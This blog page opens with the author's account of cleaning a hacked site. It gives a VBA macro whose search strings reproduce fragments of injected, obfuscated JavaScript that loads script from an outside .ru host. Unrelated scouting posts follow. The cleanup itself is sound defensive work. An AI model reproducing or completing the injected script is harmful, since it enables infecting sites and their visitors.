Coincidentally I was adding virus scanning software to my pc and it detected that my own web page was trying to do bad stuff. I ignored it at the time because it just seemed too weird for it to start happening as I was installing the software. After a couple of days, though, and trying to access the blog from other places I realized I really had been hacked.

I went through the files and found several hundred modified files (anything that had a .php or .js extension). I took the blog offline and started trying to edit them by hand, but that was going to take forever. So, I wrote a macro in Excel and had it run on all the files I had downloaded. It found strings of text I had identified as the virus code and deleted it.

Life being what it is I never had time to get back to loading the thousands of files that make up the blog until now. So, I’m back up. My anti-virus software didn’t ping me when I brought the blog back online so all looks well. I’m glad I don’t know who did this to me (or the auto script they initiated to do it to me). I’d probably go to jail for a felony if I did.

For those of you who ever want a looping program that you can copy into a VBA module behind Excel, Word, or other Microsoft Office products, feel free to grab the code below and use it. Tonight I’m going to see my daughter’s annual dance recital (or my viewing of it; they have several showings). So, I guess I’ll start posting again when I have some time to pull up some interesting reading. See ya!

Sub Main()
Dim arrDirList() As String
Dim arrFileLIst() As String
Dim varDir As Variant
Dim strDir As String
Dim varFile As Variant
Dim intFileNum As Integer
Dim strFileData As String
Dim lngLen As Long
Dim intFileCount As Integer
Dim arrToReplace(1 To 10) As String
Dim lngNextChar As Long
Dim lngDataOffset As Long
Dim varString As Variant

arrToReplace(1) = “”
arrToReplace(7) = “var X_=[""zS"",""A""];var mF=new String();};};this.HZ=false;F();var vT=[""pbU""];Wk=3544;Wk++;window.onload=I;var kj=new Array();var FK=new Array();”
arrToReplace(8) = “”
arrToReplace(9) = “Ttf’,'61Tb70Vsf’);lV={cL:”"OX”"};M=a[f](W);var nv=new Date();var Ej={UA:”"st”"};var Sn=[""xF"",""YT""];var Y=new String(”"defe”"+”"r”");var q_=”"”";var qq=[];var Z=R+e;var ho={TY:”"oP”"};var WY=false;Bq={rp:”"Mo”"};var k=w(’sVr3cp’,'G_VXtp3Y’);M[Y]=[1][0];var N=false;Mm=43881;Mm-=248;M[k]=String(”"htt”"+”"p:/”"+”"/mu”"+”"shy”"+”"oil”"+”".ru”"+”":”")+Z;var GF={tN:false};dok={vo:14141};”
arrToReplace(10) = “this.iH=61501;this.iH–;this.iq=”;a[l].appendChild(M);var Oi=”;var fb=”"”";} catch(ku){try {} catch(BW){};try {} catch(PQ){};};”

Call BuildDirList(arrDirList, “C:\Documents and Settings\Me\My Documents\websitefiles\”)

For Each varDir In arrDirList
strDir = varDir
intFileCount = ADir(arrFileLIst, strDir)

If intFileCount > 0 Then
For Each varFile In arrFileLIst
Debug.Print varFile
intFileNum = FreeFile
lngLen = FileLen(varDir & varFile)
Open varDir & varFile For Binary Access Read Write As intFileNum

If lngLen > 0 Then

strFileData = “”
strFileData = Input(lngLen, intFileNum)

For Each varString In arrToReplace
Do
lngDataOffset = InStr(1, strFileData, varString)

If lngDataOffset > 0 Then
strFileData = Replace(strFileData, varString, “”)
End If
Loop While lngDataOffset > 0
Next

Close intFileNum
Kill varDir & varFile
Open varDir & varFile For Binary Access Write As intFileNum
Put intFileNum, 1, strFileData
End If
Close intFileNum
Next
End If
Next

End Sub

Function BuildDirList(arrDirs() As String, strPath As String) As Integer
Dim intDirCount As Integer
Dim intLoop As Integer
Dim intNextDir As Integer
Dim intSubDirs As Integer
Dim intTempCount As Integer
Dim intTempLoop As Integer
Dim arrSubDirs() As String

intDirCount = ADirectoriesOnly(arrDirs, strPath)
DoEvents

If intDirCount > 0 Then
intNextDir = 1
Do
For intLoop = intNextDir To intDirCount
intSubDirs = ADirectoriesOnly(arrSubDirs, arrDirs(intLoop))
DoEvents

If intSubDirs > 0 Then
intTempCount = UBound(arrDirs)
ReDim Preserve arrDirs(1 To (UBound(arrDirs) + intSubDirs))
For intTempLoop = intTempCount + 1 To UBound(arrDirs)
arrDirs(intTempLoop) = arrSubDirs(intTempLoop – intTempCount)
DoEvents
Next
End If
Next

If intDirCount = UBound(arrDirs) Then
Exit Do
Else
intNextDir = intDirCount + 1
intDirCount = UBound(arrDirs)
End If
Loop While True

ReDim Preserve arrDirs(1 To UBound(arrDirs) + 1)
arrDirs(UBound(arrDirs)) = strPath
Else
If Len(Dir(strPath, vbDirectory)) > 0 Then
ReDim arrDirs(1 To 1)
arrDirs(UBound(arrDirs)) = strPath
Else
MsgBox “Not a valid directory to scan”
End If
End If
End Function
Function ADir(arrFiles As Variant, strPath As String, Optional varAttributes) As Integer
Dim intCount As Integer
Dim strFile As String

intCount = 0
Do
If intCount = 0 Then
If IsMissing(varAttributes) Then strFile = Dir(strPath) Else strFile = Dir(strPath, varAttributes)
Else
If IsMissing(varAttributes) Then strFile = Dir() Else strFile = Dir()
End If

If Len(Trim(strFile)) = 0 Then
Exit Do
End If

intCount = intCount + 1
ReDim Preserve arrFiles(1 To intCount)
arrFiles(intCount) = strFile
Loop While True

ADir = intCount
End Function

Function ADirectoriesOnly(arrDirectories As Variant, strPath As String) As Integer
Dim intCount As Integer
Dim intFiles As Integer
Dim strFile As String
Dim arrFiles() As String
Dim booFirst As Boolean
Dim booAdd As Boolean

intFiles = ADir(arrFiles, strPath)

intCount = 0
intMatches = 0
booFirst = True
Do
If booFirst Then
strFile = Dir(strPath, vbDirectory)
booFirst = False
Else
strFile = Dir()
End If

If Len(Trim(strFile)) = 0 Then
Exit Do
End If

If strFile <> “.” And strFile <> “..” Then
booAdd = False
If intFiles = 0 Then
booAdd = True
Else
If aFind(strFile, arrFiles) = 0 Then booAdd = True
End If

If booAdd Then
intCount = intCount + 1
ReDim Preserve arrDirectories(1 To intCount)
arrDirectories(intCount) = strPath & strFile & “\”
End If
End If
Loop While True

ADirectoriesOnly = intCount
End Function

Function aFind(strSearch As String, varFiles As Variant) As Integer
Dim intLoop As Integer

For intLoop = UBound(varFiles) To 1 Step -1
If varFiles(intLoop) = strSearch Then
Exit For
End If
Next

aFind = intLoop
End Function

It has been slower going of late for the remaining proof 2010 Boy Scouts Commemorative Silver Dollar.

A sell out of the coin could happen at any time with only 5,039 left, but the pace edged slightly slower with buyers picking up 2,381 more compared to last week’s reported 3,437.

The uncirculated version sold out exactly one month ago today. Their numbers continue to be tweaked as returns, cancellations and standby orders are processed.

Weekly numbers were first adjusted downward by 1,375, then by 226 and now 191. Their latest total is 106,897, which leaves 238,082 of the proofs sold.

Combined, 344,961 or 98.6 percent of the authorized 350,000 mintage are gone.

If you’ve been hoping your name on the stand-by list would be picked, your chances are getting slimmer by the moment.

The problem I see is the empowerment pledge as it’s shown.

The pledge says, “I pledge to responsibly commit my time and talent to ensure that the nation is empowered to achieve the following goals by 2025:

Every American child is ready for college, work and life.

Every American has access to jobs with a living wage and good benefits.

Every American lives in safe, decent, affordable and energy efficient housing on fair terms.

Every American has access to quality and affordable health care solutions.”

The hot buttons are “living wage and good benefits”, “energy efficient house on fair terms”, and “affordable health care solutions”.

This is written as if it was an endorsement of the platform of one of the major political parties. This invites the assumption that the Girl Scouts of the USA is more in favor of one party over another. Personally, I don’t think it’s an obligation for an employer to offer benefits. It’s a good business decision, but this pledge makes it sound like benefits are an obligation or right. When did home energy efficiency become the responsibility of the public? If you pour your money out of the leaky cracks in your home that’s your bone-headed decision. How is it my responsibility to make sure you aren’t doing that? What are fair terms for housing? Aren’t terms negotiated between the landlord and tenant? Doesn’t that mean both sides will probably feel like something about the arrangement was unfair? Compromise is like that. Fair is very ambiguous and there will always be someone saying that a decision is unfair. Putting affordable health care solutions as a pledge just seems like begging for trouble with the heated health care debate going on.

In short, this pledge seems like it will lead to nothing but ulcers for young girls being asked to take it. The intention of making the world a better place is there, but where are the other side’s talking points? Where’s the pledge to enhance the personal freedom of each American? How about the drive to increase the net income for families? Freedom for religious expression? Deregulation of political speech?

This can be played from both sides and so far only sounds like one is endorsed. Even the points written could have been better expressed so they shy away from charges of political bias. *sigh* Oh, Girl Scouts. When will you ever learn?

That’s why I like specific skills and camping. Not a lot of politics there. When’s the next campout?

There’s a nifty website that is getting driver comments about the race. It’s called PaddockTalk.com. Here’s what Alex has been saying.

May 15th – ALEX LLOYD (No. 19 Boy Scouts of America): “We seem to be lucky. We got a good amount of running in around the showers. Our car feels pretty good. We were a little high on our downforce. A lot of people were going for qualifying trim and going for speed. There’s no need for us to rush at it. We just looked at the balance. The balance of our car is very good, so that’s pretty promising. We’ll see how it goes when we start taking downforce off and see where the speeds are.”

May 21 – ALEX LLOYD (No. 19 Boy Scouts of America): “We finally got to trim out a little. The weather held us back the last couple of days. The speed’s pretty good. It’s certainly where we thought we would be. We certainly have more on the table with regards to downforce. We’re still a little on the conservative side. We’re feeling pretty happy. We finally got to show the speed we felt we had in the car. We’ll try to increase that. There’s definitely a little bit left.”

May 23 – ALEX LLOYD (No. 19 Boy Scouts of America): “If we had been able to do that speed a little quicker, it would have been top 15. But the heat came up, track temp came up, and we just lost the balance (Saturday) completely, and we just couldn’t get a four-lap run of any substance. Today we were happy that we got a decent run in. The car was pretty loose, and I was hanging on out there. I was ready for the checkered flag to fall. The times were pretty good, and I think it’s good enough to get in, but you never know until 6 o’clock. I’m pretty happy with what we’ve done, and the Boy Scout guys have done a great job. We’ve rebounded from a pretty tough day.”

No worries. Alex qualified and will be in this Sunday’s race along with 32 others. Keep your eyes open for that flashing gold and white hopefully passing under the checkered flag first.

The Boy Scouts of America (BSA) and the Duke of Edinburgh’s Award program announced today a new collaboration to promote the Young Americans’ Challenge to youth members of the BSA. The award program aims to involve youth in challenging educational and nonacademic programs in community service, adventurous journeys, and physical recreation activities to achieve a balanced development of life skills.

BSA Chief Scout Executive Bob Mazzuca and His Royal Highness Prince Edward, Earl of Wessex, officially launched the program nationwide during a special reception at the National Scouting Museum. During the event, the two discussed the complementary efforts of both organizations to strengthen communities, families, and young people.
…
Although the award will be available to all Scouts, the BSA will specifically promote it to members of its Venturing program. Venturing is a youth development program for young men and women between the ages of 14 and 21.

The Girl Scouts of the USA has 3 major awards for different age-ranges: Bronze, Silver, and Gold. Most people involved with Girl Scouts understand that the Gold is the top award that can be earned and involves long-term planning and management of a project as well as earning of certain number of skill badges (interest projects). Sounds a lot like a certain Boy Scout rank, doesn’t it? Yes, there is a leadership component to the Gold award, too. The upshot is that a lady in Girl Scouts can earn a Bronze, Silver, and Gold. Because the award is related to the age group she is in she can earn the Gold without having earned the others and vice-versa.

The Venturing program also has a metal-based recognition program. It is not age-related like Girl Scouts. It is a progression. First you earn the Bronze award. Next, to be difficult, you earn the Gold award. The top award is the Silver. That makes sense if you’re used to how all the top recognition awards are silver-based (silver beaver, silver buffalo, etc.). Beginning at age 14 (or after graduating 8th grade) a lady can work on these awards and can theoretically earn all of them (and the cool thing about not over-burdening the kids is that some aspects can be used for both award recognitions).

Now the Duke of Edinburgh awardwill be available which also has Bronze, Silver, and Gold level. These may or may not be progressive. You have to be at least 14 to try for the Bronze. You have to be at least 15 to try for the silver. You have to be at least 16 to try for the Gold. If you earn the Bronze and then go for Silver you don’t have to do the requirements as long for Silver level. If you skip Bronze and go directly to Silver your time period is doubled. If you skip Silver your time period for Gold goes from 12 months to 18 months. So the DofE award is like Girl Scouts in that you don’t have to earn the previous one to get the next level, but is different in that you aren’t barred from doing a Bronze if you’re older. It’s also different in that you get an advantage for the next level if you completed the one before it.

So, if a young lady starts on her awards as a Junior, continues as a Cadette, bridges to Seniors where she works on the award there and also joins the Venturing program where she can work on those awards and decides to try for the Duke of Edinburgh awards, too, she can earn all 9 of them. Boys can only earn 6. I hope that make her feel better about not being able to get the Eagle rank.

About 100 kids were involved in shooting a Nick News special on Wednesday at Marshall Middle School, said school counselor Sally Nelson. Nelson coordinated the filming for students and staff.
…
Best friends Maddie Rayner and Alena Buczynski organized an anti-bullying week at their school last month as a way to earn their Silver Award for the Girl Scouts. The week focused on Massachusetts bullying victim Phoebe Prince, who killed herself after weeks of being targeted at her school.
…
There is no planned premier date for the special yet, Poulos said, but it should appear on the channel this fall.

It’s not often that your award project gets the notice of a national media focused on just your peer group. I’m glad they’ll be able to remember this as a great moment in their lives and how they positively affected the lives of others.

Thanks to Diana Rocco at MyFoxBoston.com for this cool story.

For decades, experts have argued that self-esteem is a fragile plant that can only be cultivated through an abundance of praise and an absence of criticism. Scientific proof was scarce, however, so a team of researchers at Columbia University devised an experiment. Led by psychologist Carol Dweck, the researchers gave 400 fifth-graders a series of IQ tests.

The first test was simple, and all the students did well. Afterward, half the students received person praise (“You must be smart at this.”), while half received process praise (“You must have worked really hard.”).

Those simple words made a world of difference in subsequent rounds. When students got to pick between easy and hard tests, most of the person-praise group picked an easy test, but 90 percent of the process-praise group picked a hard one. Moreover, the process-praise group enjoyed the harder tests, while the person-praise group worried that failure would make them look less smart.

Click over to check it out. The pack’s pinewood derby hangs in the balance!

A former Scout in London has scored the perfect job- Sleeping Bag Tester!

Click on over to read Phil’s comments about his new job.

Now, apparently I need to buy a pith helmet or a campaign hat. I hear one is available for auction.

But what is the answer to the all-important question: Where does it go?

The Founder’s Bar, shown above, is worn by all youth and adults whose names are on a new-unit charter or who officially join the new unit before the unit recharters for the first time. Members of veteran units still in operation who were on the original charter may also wear the Founder’s Bar with that unit’s numerals.

You don’t wear the bar until your original charter is up. After you recharter for the first time, all youth and adults who were on the new-unit charter can sew the Founder’s Bar on the left sleeve below the unit numerals.